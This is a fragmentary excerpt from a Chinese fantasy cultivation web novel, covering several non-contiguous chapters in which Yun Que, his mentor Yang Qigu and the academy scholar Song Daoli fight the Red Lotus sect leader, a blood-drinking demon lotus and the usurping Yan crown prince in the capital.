等凌妙清消失在传送阵后,云缺往二楼一坐,冷笑道: “有种你别回来。” 现在云缺心里有底。 司天监有门六在,凌妙清到了也会遭遇魔莲,迟早会回来。 司天监内,凌妙清的身影浮现而出。 “看你跑得快,还是我传送的法门快。” 等了一会儿,不见云缺追来。 凌妙清并不着急,站在院子里闭目养神。 她料定云缺肯定会回来,因为百花丹是魔莲最爱的美味佳肴,无论云缺在城里任何地方,都会被魔莲追杀。 没过多久,凌妙清觉得不对劲了。 云缺没等来,她先等来了一朵巨大的妖花! 妖花从院墙外出现,直奔院子里扑来。 凌妙清手指扬起,飞剑出鞘,一个盘旋便将妖花斩成两半。 一朵妖花死掉,更多妖花出现。 墙头爬上十几朵巨型妖花,疯狂的冲进院子。 凌妙清大为诧异。 云缺根本没在,怎么魔莲会往她这边汇聚? 这次凌妙清动用剑法,很快将接近的魔莲斩杀,但随后又有更多魔莲出现。 凌妙清扫了眼墙外的大片魔莲,脚下光晕起伏,身影随之消失,返回缥缈阁。 她可不想与魔莲正面抗衡。 如今出现的只是普通妖花而已,嗜血魔莲真正的本体还在地底,等那魔花当真盛放开来,连她这位国师都得退避三舍。 凌妙清带着疑惑与懊恼,推开缥缈阁的大门。 等她走到二层,见云缺正坐在椅子上,翻看着书架上的书籍,很是悠哉。 “国师回来啦,我看会儿书不介意吧,你这里的书都是字啊,有没有带图的。”云缺风轻云淡的道。 “没有!” 凌妙清紧紧蹙着眉,冷声道:“魔莲为何不来吃你。” “可能胃口不好,魔莲今天闹肚子。”云缺呵呵笑道。 现在云缺摸清了规律。 只要门六现身,魔莲就会追门六。 门六藏进树木里,魔莲就会追自己。 那就好办了! 有了门六配合,云缺有把握把国师给玩儿死。 凌妙清自然不会相信云缺的鬼话,但她一时想不通究竟,冷冷的瞪着云缺。 没过多久,缥缈阁外出现妖花。 整个小楼被尽数围住,足有几十朵之多。 随着妖花不断撞击楼阁,缥缈阁晃动起来。 云缺老神在在的看着书,根本没有出手的打算。 反正国师在这,要死大家一起死。 云缺相信国师肯定比自己还要惜命。 凌妙清实在没办法,开启了缥缈阁内的法阵。 一层光幕将小楼笼罩起来。 但凡闯进光幕的妖花相继被阵道之力绞杀。 凌妙清一边催动法阵,一边懊恼不已。火山文学 她的计划,是以云缺为诱饵,借司天监之手削弱魔莲。 现在的局面彻底反过来了。 大批魔莲汇聚在缥缈阁,前仆后继,越来越多! 再强的法阵,早晚也有顶不住的时候。 更让凌妙清恼羞成怒的是,云缺非但一点不帮忙,反而在书架前挑来挑去,专门找带图的书。 “大敌当前,你不会帮忙吗!”凌妙清怒道。 “抱歉啊国师大人,微臣来回跑了三趟,实在没力气,等我休息够了肯定帮国师斩妖除魔。” 云缺拿着几本书,好整以暇的观看起来。 云缺的确在看书,不是装的。 因为缥缈阁里的书籍,在外面根本看不到,全是道家修炼相关的古籍,估计拿出去任何一本都价值连城。 虽然武夫修不了道门神通,了解一番也是好的。 云缺在一边看得津津有味,凌妙清在另一边不断斩杀着魔莲。 两人不再说话,更忙各的。 随着大批妖花出现,整个天祈城变得愈发混乱。 妖花不断吞噬活物,每当吃掉一个活人,花朵本体就会增长几分。 天祈城百万生灵,若全部被吞噬,嗜血魔莲将成长到一个可怕的程度! 妖花的神智有限,只会寻找血食,若能躲起来也许会逃过一劫,但随着妖花而来的血袍军却冷血残忍,汇聚之后,开始进攻城内各处军营与要地。 六部衙门首当其中,有大批血袍军涌入,喊杀声震天。 东宫。 一处僻静的花园内,燕无鹰正站在一个水潭旁,望着水面的倒影出神。 这里,是他儿时经常来的地方。 每到盛夏,燕太子都会来此戏水,有时燕皇与皇后也会来这里纳凉,一家三口其乐融融。 如今,家与国,均不复存在。 一名宫女途经于此。 当她看到燕无鹰的侧脸,顿时尖叫到: “鬼啊!!!” 燕无鹰的模样的确难看。 半张脸完全被毁掉,从侧面看宛若恶鬼。 那半张脸,是燕无鹰自己毁的,为了掩盖住容貌,从而混进大晋的官场。 宫女被吓得瘫软在地,浑身颤抖。 燕无鹰缓步走到宫女面前,冷漠道: 第240章 那一年那场雨 看到云缺走进金銮殿的那一刻,燕无鹰有一刹那的恍惚。 他仿佛看到了多年前的自己。 那一年,他隐姓埋名,以刑部令史的身份第一次走进金銮殿,也是如此稳重的脚步,心里却藏着滔天的杀意。 他为了复国,要杀掉龙椅上的殷子受,这些年卧薪尝胆,终于迎来最终一战。 而走来的云缺,一样为了复仇,要杀掉龙椅上的燕太子。 燕无鹰默默的望着云缺,嘴角泛起苦涩的笑意,道: “我从不相信命运无常这种说法,我始终认为人定胜天,看来我错了,人的宿命自从出生之时就被定下,任凭如何挣扎如何努力,仍旧挣不开命运的束缚。” “这些年来,我设想过无数次坐上龙椅后的情形,也许会天下大定,也许会征战连年,我甚至想象过坐上龙椅之后就被五马分尸而亡,但我没想到,坐上龙椅之后,居然要与大燕斩妖司的兄弟反目成仇,命运,真是无常啊。” “也罢,既然你我之间终有一战,今天便分个胜负,决个生死,无论我死还是你亡,我们各安天命。” 云缺脸色冷峻的道:“我不信命,我只信手里的刀。” 燕无鹰深深的皱着眉,目光复杂的道: “你比我存粹,猎妖人只要握住刀,就握住了自己的命,我不行,我不仅要握刀,还要掌权,要分析满朝文武的特点与爱好,是否能拉拢,是否能利用,我还要联系草原人,许诺他们足够多的好处,以国土来换取他们出兵。” “这些年,我活得好累啊,我不止一次想要放弃,但我每次都咬牙挺了过来,你知道为什么吗,因为父皇当年对我说的一句话。” “那是北伐妖都的前两年,那年我十岁,父皇把我叫来金銮殿,他坐在龙椅上问我,想不想当皇帝。” “我当然想,但我那时还小,我不知父皇真正的用意,到底在试探我的野心,还是拿我打趣?于是我用先生教导的东西,说了一大堆长篇大论,如何治理天下,如何平衡臣子,总之书本上的东西全拿了出来。” “父皇听得很认真,但我看得出,他并不高兴,等我说完,他又重新问了我一遍最初的问题,想不想当皇帝。” “我当时害怕极了,我知道父皇不满意我的回答,我想退缩,说不想当皇帝,却于心不甘,于是我闭着眼睛大声说了一个字,想!” “父皇很久没说话,等我睁开眼睛,看到的,是父皇无比凝重的脸,他只对我说了一句话,他说……” “想当皇帝,就用你的命来守住这片江山!” 君王死社稷。 这是燕皇留给太子的最后叮嘱,也是最后的要求。 那一天,燕无鹰正式成为东宫太子,燕国储君。 云缺对燕皇是敬佩的,但对于燕太子,他无法苟同。 “你守住了么。” 云缺冷声道:“江山不止国土,还有黎民,你的江山快死绝了。” 燕无鹰的神色渐渐变得冷冽,阴沉道: “你也如周史伯那般迂腐!兵灾大起,自然会生灵涂炭,待我坐稳皇位,大燕将迎来更加持久的安稳与繁华!区区百姓,死些何妨!” 第241章 今生最得意的弟子 天祈学宫,后山悟心崖。 大祭酒始终站在崖底,任凭暴雨临身。 秦蒙没有散发任何气息,宛如一位凡世间的沧桑老者,独自站在雨中,背影有些佝偻。 大雨淋湿了老者的身体,看起来孤独而可怜。 但秦蒙浑浊的双眼反而变得明亮起来,仿佛那些困扰他的心结,在这场大雨中逐渐被解开。 脚步声响起。 宋道理拿着油纸伞来到崖底,想要给大祭酒挡雨。 但宋道理伸出的手,怎么也到不了秦蒙近前,有一种力量在阻挡他。 宋道理知道是大祭酒无需他遮雨,于是不再尝试,站在原地道: “城外妖物的来源已经查清,均为妖山之兽,驻守妖山的学正被杀,原地没有太多线索,学生猜测,凶手应该与之前被杀害的三十六名学子有关。” 宋道理说完,等了半晌,大祭酒并未开口。 宋道理道: “学子与学正接连被杀,显然有人在挑战天祈学宫的底线,此事必须查明才行,否则学宫的威严将毁于一旦,学生愿亲自负责此事,追查凶手。” 宋道理满心怒火,本来就是一张黑脸,现在的脸色变得更加阴沉。 上次的学子之死,有可能人为,也有可能被妖兽所杀,如今尚未查到真相,这次驻守妖山的学正身亡,妖山大阵被破坏,所有妖兽逃了出来,显然是有人故意为之。 天祈学宫的地位,何时被如此挑衅过? 宋道理就等着大祭酒一声令下,自己去捉拿凶手,为死去的学子与学正讨回公道。 秦蒙仰着头,淋着雨,道: “学宫之外,是否也有雨。” 宋道理一阵茫然,听不懂大祭酒此言何意,只好如实道: “有雨,与学宫内的雨一样。” “一样的雨……”秦蒙苦笑一声,道:“世人都说学宫超脱于尘世,是化外之地,但尘世中的雨,为何也会落在学宫里呢,天祈学宫,不过是这世间的一角罢了,原来我们都身在凡尘。” 宋道理仔细揣摩着大祭酒的这句话,他好像明白了一些道理。 天祈学宫不过问世事,超然出尘,无论朝代更迭,还是劫难连年,世间之事从不会影响到学宫,千年来都是如此。 天祈学宫的大祭酒与学正们,从未主动去世间走动,只闭门教学,四面高墙围拢出一方世外之地。 这是天祈学宫的规矩,不曾被打破。 可这份规矩,并非圣人留下的规矩,更像一种与生俱来的孤傲与优越。 好像到了学宫,就走到了世外一样。 如今的一场大雨,让大祭酒明白了一份道理,学宫内外,其实并无区别。 都在凡尘而已。 身上的雨水在瞬息间蒸干,秦蒙吩咐道: “既然恩怨已生,总要有所了结,你去罢。” “是。” 宋道理躬身施礼,随后身影消失在原地。 秦蒙仰望着石壁上的圣人字迹,眼中的迷茫渐渐散去,呢喃道: “沧海无论有无尽头,彼岸无论有无花朵,若连沧海都不入,谈何彼岸,先圣的脚步早已远去,而我们,还在原地逗留,也该往前走几步了,即便走错了,总好过一步不动……” …… 皇宫。 林立的妖花形成血腥的丛林,疯狂扑向云缺。 燕无鹰的这份后手,足以令他立于不败之地。 之所以有足够的底气复国,燕无鹰依靠的最大助力,其实就是红莲教的教主。 而嗜血魔莲,便是教主的底牌。 燕无鹰向后退去,冷语道: “云缺,别怪我狠心,既然我们之间必须死一个,那么还是你死为好!” 第242章 这辈子都不用忙了 弟子一词,由来已久。 有先生,自会有弟子。 先生只需要一个,但弟子会有很多。 每一位先生,一生中教授的弟子不在少数,但最得意的弟子,必定只有一人。 云缺,便是杨七古最得意的弟子。 杨七古从没教过云缺任何修炼上的招式与法门,两人不像师徒,更像一种忘年之交。 杨七古看不惯云缺那种视钱财如命,有便宜就占的财迷嘴脸。 云缺也看不惯杨七古这位看淡世事,只钻研药理的隐居之人。 两人在谈天说地的时候,没少因为各自的理念不同而斗嘴。 如此师徒,实属罕见。 但是在杨七古的心里,早已认定云缺是他的弟子传人。 衣钵传承这种东西,未必需要传承高深的修为或者惊人的医术,也可以是一份相同的信念。 杨七古自小接触医道,他的医学天赋惊人,他这一生最大的信念便是世间无疾,天下苍生不再受病痛的折磨困扰。 而云缺的信念,则是天下无妖,斩尽天下妖邪。 两条不同路,却有着共同的终点。 那个终点的名字,先贤大儒早已总结了出来,只有一句话。 为天地立心,为生民立命,为往圣继绝学,为万世开太平! 杨七古的手在流血,却稳得纹丝不动,对身后的云缺道: “去忙你自己的事。” 云缺点头称好,冲向燕无鹰所在的方位。 七叔显然是要与红莲教主单独交手,云缺正好趁机与燕无鹰做个了断。 现在的局势,燕无鹰已经没有了优势,至多算旗鼓相当。 对方有红莲教主加上嗜血魔莲,云缺这边有七叔和学正宋道理。 这是场四品程度的殊死交锋,如此程度的战场,哪怕五品境界的青禾都显得十分渺小,难以改变大局。 见云缺再次杀来,燕无鹰神色微变,一边抵挡,一边发出长啸。 皇宫周围,汇聚起大批的血色身影。 怪物般的血袍军相继赶来。 在血袍军出现的同时,花不谢与上官鸿途,陈洲骅等人也抵达了皇宫区域。 看到几乎将半个皇宫笼罩的高大石柱,与那幽蓝色恐怖的魔莲本体,花不谢等人变得脸色苍白。 “四阶妖物的气息!”花不谢震惊道。 在鸿雁城的时候,虽然有妖花满城,但没人看到魔莲真正的本体,如今四阶程度的妖花本体出现,花不谢这种六阶修士简直如面对天敌。 “这玩意能把皇城毁了!我们刑部实在顶不住啊!”陈洲骅哀嚎道。 陈洲骅刚才与司天监的叛徒齐镰恶战,差不多两败俱伤,后来被那家伙逃了,于是一路追到皇宫,本想斩杀叛徒捞份功劳,结果发现皇宫这边太过恐怖,他自己这点能耐很容易葬身于此。 上官鸿途独臂持刀,寒声道: “妖花现世,生灵涂炭,我等大晋臣子岂能退缩!不过一死而已,战!” 说罢上官鸿途第一个杀进妖花覆盖的战场。 陈洲骅只能硬着头皮跟上,带着一群刑部令史与血袍军亡命搏杀。 陈洲骅现在有点后悔了。 他的官儿不大,却天天有事要忙,忙来忙去,最后忙出个四阶的怪物。 陈洲骅觉得自己这下应该忙到头了,被花妖吞了之后,他就能好好歇歇,这辈子都不用忙了…… 牧青瑶与花不谢汇合后,青禾终于脱困,落到地面。 这时首辅周史伯也挣脱了束缚,赶到近前。 一看混乱的战场,周史伯的心头就发沉,急急问道: “监正可否出关?” 牧青瑶与花不谢同时摇头。 周史伯叹了口气,认为皇城没救了。 “师尊没出关,但学宫的宋学正到了。”牧青瑶道。 周史伯闻言眼前一亮,心中升起希望。 远处一声轰鸣! 气浪四溢开来,形成一片狂风,吹得周史伯众人站立不稳,连连后退。 随后众人看到宋道理破开血莲的身影。 同一时间,杨七古掐动法诀,在面前凝聚出成千上万道剑影。 魔莲本体在疯狂撞击,数十根高大的石柱开始崩塌。 宋道理所站的地方,无数碎石落下,却没有半块石子能临身。 “世事难料,没想到,居然能与杨先生联手对敌。”宋道理一张黑脸上浮现出罕见的笑意。 “是啊,我也没想到学宫会有多管闲事的一天。”杨七古淡淡的笑道。 杨七古曾经是学宫的先生,与宋道理早已是老熟人。 曾经的先生与学正,在学宫里喝过茶,谈论过修炼之道,却从未联手对敌。 今天,这对老熟人并肩而战。 没有太多的叙旧,杨七古直接出手,无数剑影化作漫天流光轰向对面的红莲教主。 在剑光抵达之际,一朵朵碗口大的红莲凭空开放,每一朵莲花都能准确无误的包裹住一道剑光。 皇宫上方出现了一幕奇观。 仿佛有无数流星正在坠入永恒的黑暗,整个过程无声无息,却凶险万分! 那是法术施展到极致的较量,势均力敌的一场恶战! 宋道理面对着魔莲本体,再次动用法术。 只见这位学正之首抬指在虚空中接连划动,瞬间勾勒出一幅水墨之图,那图中的山水惟妙惟肖,闪烁几次便化作真正的山峦,在魔莲本体的头顶砸落! 轰鸣中,山崩地裂! 如此程度的战斗,不到五品境界,没人敢接近。 四品交锋,挨上就死! 首辅与灵芸郡主等人纷纷后退,避开战场中心地带。 牧青瑶环顾四周,道: “二师兄他们很快会回援,我们清理血袍军即可,阻止这些怪物汇聚在一起。” 花不谢点头,与司天监的人马开始绞杀周围的血袍军。 周史伯提起精神,运转浩然气,协助司天监一同杀敌。 有青禾在,血袍军虽然悍不畏死,但不堪一击。 青禾一拳即可击杀一名血袍军,一脚能扫飞三个。 五品武夫的战力,虽然在嗜血魔莲那种怪物面前微不足道,但对付血袍军绰绰有余。 无论青禾花不谢这边的司天监人手,还是上官鸿途陈洲骅那边的刑部人手,在对抗血袍军的时候,都在刻意回避着魔莲覆盖的地方。 此时的嗜血魔莲被激发出真正的凶戾,地面上的妖花变得越来越多,将整个皇宫填满。 那些妖花见人就吞,宫女太监四散奔逃,尖叫不断。 但也有不怕的。 云缺在花朵般的丛林里,追杀着燕无鹰。 嗜血魔莲与红莲教主,有七叔和宋道理对付,云缺终于能腾出手来,找燕无鹰算一算总账! 燕无鹰快速穿梭在妖花之间,脸色十分阴沉。 宋道理的出现,超出了他的预料。 学宫本该不过问世间之事,哪怕天祈城被摧毁,百万百姓死得一个不剩,只要学宫不少一砖一瓦,天祈学宫就不会理睬外面的事。 这是多年来的规矩,只属于学宫这种世外之地的规则。 这种规则,也适用于一些年代久远的修炼宗门。 修行者是冷漠的。 凡人如蝼蚁,并非说说而已,在真正的强者眼里,凡人可有可无。 没有哪个真正的强者会在意凡人的感受,会关注凡人的生死。 但宋道理的出现,改变了学宫千年来的规则。 燕无鹰在心里暗暗埋怨红莲教主,他认为是妖山死掉的学正,让学宫不得不出手。 否则的话,今天的天祈城一定能拿下。 而杨七古,又是燕无鹰忌惮的一个变数,能与红莲教主交锋,可见对方也是位修为高深的强者。 燕无鹰并不认得杨七古,但他听到了杨七古说的那番话,对方居然是云缺的师尊! 燕无鹰的全盘打算,在此时被破坏殆尽。 他无比懊恼,又没有了底牌,一旦嗜血魔莲与红莲教主落败,别说复国,他这位燕太子也得死在皇城。 一想起白厌与司天监的几位五品即将归来,燕无鹰更加焦急。 云缺已经追了上来,燕无鹰脚下一顿,回身就是一刀! 他再次与云缺厮杀在一起。 以云缺此时的战力,燕无鹰想要赢,几乎没机会。 很快被云缺的妖刀斩中臂膀。 燕无鹰提前以身后的羽翅防御,这才保住了胳膊,但仅存的半个翅膀也被砍掉一半。 燕无鹰怒吼着连连挥刀。 云缺更是猛攻不停,两人谁也没有防御,完全是同归于尽的打法! 很快,两人的身上全是刀伤,鲜血淋漓,好似两头发疯的怪物在拼死恶战。 渐渐的,燕无鹰难以抵挡。 他发现云缺根本砍不动! 他的刀砍在人家身上,只能切开血肉,却伤不到骨头。 而云缺的一刀,足以将他的骨头也切断! 这怎么打! 到了最后,燕无鹰身上的骨头被切断了十余处,整条左臂彻底废掉,右腿的骨头也断了,他只能用一只脚支撑。 虽然燕无鹰有妖花协助,但魔莲本体不在,普通的妖花根本挡不住云缺杀伐的脚步。 忽然一道尖细的声音传来。 “太子殿下!奴才来助您一臂之力!” 远处,齐镰拖着满身伤口的身体跌跌撞撞赶来。 燕无鹰惨然一笑,点了点头,道: “好!本太子不是一个人,我也有忠心的部下!哈哈哈哈!我们一起杀敌!” 齐镰确实忠心。 他被陈洲骅与刑部令史围杀,身受重伤才逃了出来,没想着去疗伤或者躲避,而是追随着燕太子而来。 齐镰大口喘气,掏出一个黑色的瓷瓶,一边咳血一边道: “这些年奴才在司天监没白劳碌,攒下不少好东西,这上百条恶鬼,足以抹杀任何六品!” 呼!! 一团黑烟从瓷瓶里冒了出来,在半空汇聚成上百道狰狞的鬼物,呼啸着扑向云缺。 第245章 天下修士之敌 梅钱正在奋力斩杀着血袍军,忽然发现其他人相继呆滞不动。 梅钱没感受到梦境存在,他反应极快,也停下动作,学着旁人一动不动,同时在心里焦急的与老者沟通。 可任凭他如何在心里呼喊,老者始终没有回应。 梅钱猜到是老者替他挡下了红莲教主的这份法术,可没用啊! 剩他一个七品武夫,这么可能是红莲教主的对手。 连学正宋道理都中了招,就算梅钱这时候杀过去也于事无补,反而会第一个被红莲教主灭杀。 梅钱实在没办法,只好装木头人,盘算着下一步的打算。 “一身藏双魂,无趣的把戏。” 楚红莲冷冰冰的声音响起,一语点破了梅钱的秘密。 梅钱的冷汗直接遍布浑身。 伪装没用了,梅钱豁然转身冲向红莲教主,他手里的刀,在红莲教主面前显得微不足道。 但斩出的同时,梅钱的刀变成了两把。 另一把,是漆黑的妖刀! 云缺醒了! 梅钱身上的确藏着一道古老的魂魄,但云缺身上住着妖魂,几乎在陷入梦境的瞬间便转醒。 两人同时进攻,势如破竹。 可结果不尽人意。 根本没到近前,就被楚红莲拍出的掌力齐齐轰飞。 楚红莲的脸上没有丝毫表情变化,面对云缺与梅钱,她无需动用全力即可轻易抹杀二人。 然而刚拍出双掌,一道剑光从虚空中遁出,刺向楚红莲的后心! 楚红莲神色骤变,用尽全力避开。 要害躲开了,手臂没躲过,被切开一道深可见骨的伤口。 剑光过后,显现出一柄水纹般的长剑。 长剑调转而去,回归主人的手中。 远处,国师的身影从虚空浮现。 凌妙清面色苍白,气息混乱,浑身起伏着忽高忽低的法力波动。 之前与魔莲本体的恶战,已经消耗了凌妙清大量法力,刚才这一剑的威能达到四品程度,凌妙清调动了压制心魔的力量,此刻心境出现紊乱,强撑着而已。 云缺在远处的废墟中爬了起来,浑身巨疼。 四品强者的掌力实在恐怖,看似轻飘飘的一掌,五品金身境的武夫都能拍个半死,若非骨骼强横如妖,云缺这种境界早死多时。 另一边,梅钱爬不起来了,嘴角溢血。33qxs.m 幸亏他有护心镜,否则这恐怖的一击足以将他击杀。 见国师现身,云缺没有妄动,坐在废墟里恢复伤势,等待时机。 楚红莲用另一只手快速捂住手臂上的伤口,冷语道: “大晋气运已尽,大厦将倾,国师居然不懈余力保之,实属难得。” 凌妙清冷哼道: “嗜血魔莲为天下修士之敌,修道之人见之必诛!” 楚红莲的嘴角泛起一抹古怪的笑意,道: “国师借大晋气运压制心魔大劫,此刻出关,目的恐怕不是斩妖除魔,而是一己之私,魔莲的莲子,对你有大用。” 红莲教主一语点破了国师的真正目的。 凌妙清的确为了莲子而来,大晋的存亡,不是她所考虑的范畴。 她只要莲子压制心魔。 被人看穿目的,凌妙清丝毫不恼,冷笑道: “豢养嗜血魔莲此等邪物,你的目的不是皇位也不是替大燕复国,而是制造杀伐,屠戮苍生!” 楚红莲没再开口,两个容貌过人的女子隔空而立,互相对峙。 凌妙清看似冷静,其实此刻心里懊恼无比。 她可是三品强者,只因为心魔大劫不敢动用全部修为,否则天下间哪有四品修士敢跟她如此对峙,早就一剑将其斩杀。 凌妙清很想一剑杀了红莲教主。 但她做不到。 一旦动用三品之力,她会立刻被心魔反噬,陷入更加凶险的境地。 杨七古与宋道理相继转醒。 楚红莲的梦境法术虽然很强,足以将同阶高手困住很久,不过杨七古与宋道理都是修炼多年的强者,两人的神魂之力极其强悍,很快挣脱梦境。 见两人醒来,楚红莲忽然发出一声厉吼,声如夜枭。 随着她的吼声,嗜血魔莲出现诡异的变化,所有分散的妖花纷纷展开花瓣,将附近的血袍军一下裹住,不断蠕动。 血袍军,是嗜血魔莲同化后的产物,非人非妖的怪物,可以悍不畏死的冲杀,也可以当做魔莲的养料。 吞噬掉血袍军的无数妖花,很快从猩红转为紫色,气息变得愈发强大。 不仅分散的妖花变强,连魔莲本体也随之膨胀数倍,变得比金銮殿都要庞大,并且冒出无数紫色藤蔓,编织成铺天盖地的大网,将所有人笼罩其中。 藤蔓的出现,遮蔽了红莲教主的身影。 杨七古催动法力,快速斩断藤蔓。 宋道理与凌妙清同样各自施展手段,对付魔莲。 云缺的妖刀在藤蔓中闪烁不停。 一刀下去,便有一条藤蔓应声而断。 这些藤蔓极其坚韧,以云缺的全力也只能一刀斩断一条。 很快云缺来到梅钱旁边。 “死没死!”云缺道。 “快了,你再不过来就死了。”梅钱身上被缠了好几条藤蔓,勒得他喘不上气。 切开藤蔓后,云缺拖着梅钱往外围突破。 两人冲破藤蔓大网,来到外围区域。 牧青瑶此时也在青禾的护卫下逃出大网,花不谢跟在其后。 与小郡主汇合后,云缺将梅钱交给花不谢,道: “你们退开,我去帮七叔。” 牧青瑶点头道:“你要小心,让青禾帮你。” “不用,青禾守着你。”云缺沉声道:“等白厌到了,你们立刻与他们汇合。” 云缺虽然神智几乎狂暴,但理智还在,看得清局势。 青禾参战与否,影响不了战况的结果,只有等白厌与李玄驹他们回来,多位五品联手之下,才能算作真正的助力,到时候红莲教主必定落败。 有宋道理杨七古加上凌妙清这三位高手,胜利的天平已经朝着自己人这边倾斜,只要稳住局面,楚红莲必败! 与其让青禾参战,不如留下保护郡主不花不谢梅钱这些人。 牧青瑶在大事上从不拖泥带水,既然云缺无需青禾相助,她立刻会意,与花不谢几人向后退去。 看着小郡主一行人退远,云缺深吸一口气,强行稳了稳心神,就要转身杀回去。 不等转身,忽然身后传来七叔的大喝。 “云缺小心!” 云缺猛然回头,楚红莲的身影已经出现在身后。 二者之间,不过半丈的距离! 见到红莲教主,云缺在转头的同时刀也动了。 第246章 会飞的老虎 皇宫废墟,魔莲嘶吼不断,臃肿的身躯喷洒着大片毒液。 司天监与刑部残存的人手全部退了出来,站在远处惊恐的观战。 对付血袍军还可以,真要面对暴戾的四阶凶兽,这些人只能成为点心。 宋道理始终站在原地,手中多出一支毛笔,刷刷点点在面前的虚空中笔走龙蛇,写出六个大字。 礼、智、义、廉、信、仁! 首辅周史伯在远处看到那字迹后,神色凝重的沉声道: “君子六德!” 这六个字,是仁者境的儒家修士施展出本命法力的体现,每一个字都有磅礴的浩然之气加持。 宋道理每写出一字,便有一座高山幻化而出,压在魔莲头顶,六字写完,魔莲硕大的本体之上,压着整整六座山峦! 宋道理提笔而书,虚空中浮现出一行行闪烁光芒的字迹。 “对上谦恭,对下不傲,是为礼!” 宋道理写完第一句之后,洪声咏念,随即第一座高山炸裂出漫天烈焰。 “大不糊涂,小不计较,是为智!” 第二句喝出,第二座高山崩裂成无数闪电。 “能拿六成,只拿四成,是为义!” 第三座高山转变为奔涌大河倒灌而下。 “守身如莲,香远益清,是为廉!” 第四座高山幻化成乌黑的龙卷,搅动起漫天狂风。 “表里如一,真诚以待,是为信!” 第五座高山融化成滚烫的沙硕,遮天蔽日。 “优为聚灵,敬天爱人,是为仁!” 第六座高山凝聚成一把巨剑,从最高处一斩而下。 当周史伯看到巨剑的瞬间,情不自禁的惊呼道: “仁者剑!” 身为四品仁者境的学正之首,此刻展现出真正的全力,集一生修为,催动出威能惊天的仁者之剑。 这把剑,唯有达到仁者境的儒修才能祭炼,以仁字为根基,行仁义之道方可炼化而出,否则别无他法。 仁者剑若成,则无往而不利! 天下间的各派系修行者,都有各自的特点,如果以数量来计算多少,那么武夫肯定是最多的,因为门槛最低,但凡身体不错的年轻人都机会达到最低的九品。 而第二个人数最多的修炼派系,则是儒修。 儒修的门槛也不高,自小勤学,加上稍许的聪慧,也可摸到儒家的门槛。 但儒家一个不同之处,低阶修士数量众多,修为越高,人数越少,五品以上的更是凤毛麟角,远远不及其他派系高阶修行者的数量。 其中重要的一个原因,是儒修需要知行合一,简单来说,就是境界必须对应心境。 四品仁者境,就要有仁者之心。 若心境达不到仁者,终其一生也无法成为四品,这也是儒修为何境界越高越稀少的原因。 毕竟人非圣贤孰能无过,境界易修,心境难达。 想要达到仁者的心境,实在艰难,然而一旦成功,那么展现的威能将达到一种恐怖的程度,高阶修士之间,很少有人愿意面对一位同阶儒修的对手,因为儒修的战力实在可怕。 宋道理施展的仁者剑,连凌妙清这位三品道门强者看到都觉得心惊不已。 第247章 神魔之血 当年的往事,是杨七古深埋心底的一份遗憾。 为了那迟疑的一个时辰,杨七古这些年来始终活在内疚当中,无法原谅自己。 杨七古不是圣人。 在红颜与今后的修为造诣之间,他犹豫了。 等他决定不问将来,只求当下的时候,红颜已逝,再无机会。 虽然楚红莲当年只是诈死,人还活着,但杨七古知道,楚红莲对他的心,已经在他犹豫的那一个时辰里,彻底死去。 杨七古怅然一叹,道: “当年是我辜负了你,那一个时辰,是我这一生中最痛苦的时刻,等我做出决定不计代价也要救你的时候,已经晚了,若能时光倒流,我不会犹豫片刻,尽我所能,帮你解毒。” 楚红莲冷漠的道: “时光,不会倒流,人心,经不起试探。” 杨七古点了点头,道: “是啊,人心的确经不起试探,我既然辜负了你,这一生注定要在痛苦中度过,活着已然无趣,今日,便把命留给你,只求你别再伤及无辜,放了郡主。” 牧青瑶始终悬在半空,脖子被狠狠掐着,说不出话来,气息渐弱。 楚红莲的嘴角渐渐浮现一种意味难明的冷笑,看了眼牧青瑶与云缺,道: “杨七古,你觉得他们两个,像不像二十年的我们。” 杨七古闻言心头一沉,道: “不像!他们只是两个贪玩的孩子,根本不懂什么叫知己!我们两人的事,我们自己解决,与旁人无关!” “什么叫无关,他不是你今生最得意的弟子么,我了解你,杨七古,别忘了我们曾经是知己,我知道你最厌恶师徒传承,从不会轻易收徒,既然你将他当做弟子,说明你们有着极其相似的地方,亦师亦友。” 楚红莲的笑意渐浓,可笑容极冷,道: “他们已经不小了,早该懂得什么叫恩怨情仇,他们互相深爱着彼此,实在让人羡慕,我很好奇,你这弟子如果遭遇当年你所经历的一切,他,会不会也犹豫一个时辰呢。” 杨七古最担忧的一幕,终究还是来了。 杨七古的脸色变得难看了起来,目光渐渐冷冽。 人心,经不起试探,这份道理杨七古又岂能不懂。 而如今,楚红莲显然要将二十年前的一幕,在云缺与牧青瑶身上重演! “楚红莲!” 杨七古冷声喝道:“你若敢伤他们两人,我杨七古发誓会将你拖进地府!” 对于杨七古的威胁,楚红莲丝毫没有在意,冷笑道: “你的弟子很不错,连我的莲花印都能抗得下来,我需要动用更强的手段才行,难道你就不好奇,你那弟子与灵芸郡主的感情是否经得住考验吗。” 杨七古气得浑身发抖,冷喝道: “没想到你居然如此恶毒!当年我没救你,你来报复我便是!何必创立红莲教屠戮苍生!我们之间的恩怨,何必牵连旁人!” “哈哈哈哈!” 楚红莲忽然大笑起来,道:“杨七古,你把自己看得太重要了,我创立红莲教屠戮苍生,与你有什么关系,当年诈死,是不想再与你纠缠罢了,顺便试一试你的人品,可惜,你太让我失望了。” 杨七古闻言怔了一下,皱眉道: “你说什么!你创立红莲教难道不是来报复我?” “一介无情之辈,不值得我耗费多年来报复,杨七古,你知不知道你最大的一个缺点,就是自以为是!”楚红莲冷漠的道。 “不可能!” 杨七古愤怒的道:“既然你不是来报复我,为何杀那么多百姓!” “呵呵,你不是我的知己么,你可以猜一猜我的心思。”楚红莲冷笑道。 杨七古的脑子彻底乱了。 他实在想不通,楚红莲真正的目的是什么。 在杨七古看来,楚红莲当年试探他之后,失望而去,心生怨恨从而建立邪教,与燕太子勾结,残害百姓,目的就是摧毁他杨七古最为重视的天下苍生。 杨七古始终认为楚红莲因怨生恨,从而走上这条不归路,可如今人家根本就不是为了他杨七古而来。 嘀嗒。 血迹滴落的轻微响动,在楚红莲脚下出现。 她手臂上被凌妙清一剑斩出的伤口,缓慢的滴落着鲜血。 杨七古的听觉早已达到惊人的程度,再细小的声音也逃不过他的耳朵,于是看了一眼那血迹。 随后,杨七古整个人忽然颤抖了一下,眼眸里泛起震撼之色。 楚红莲的伤口很深,但血流得极少,从受伤到现在,只有一滴鲜血落下。 到了楚红莲这种强大的境界,足以用法力压制伤口,封住血液。 云缺也看到了那滴血。 因为那滴血太过显眼! 云缺此刻的状态处于妖力散发到极致的时候,他眼前的世界是一片血色,所有人都是殷红的,鲜血自然不会例外。 可是楚红莲滴落的鲜血,却是古铜的颜色! 那古铜色的血滴在夜幕下很难分辨,可是在云缺殷红的眼眸里,显得十分刺眼。 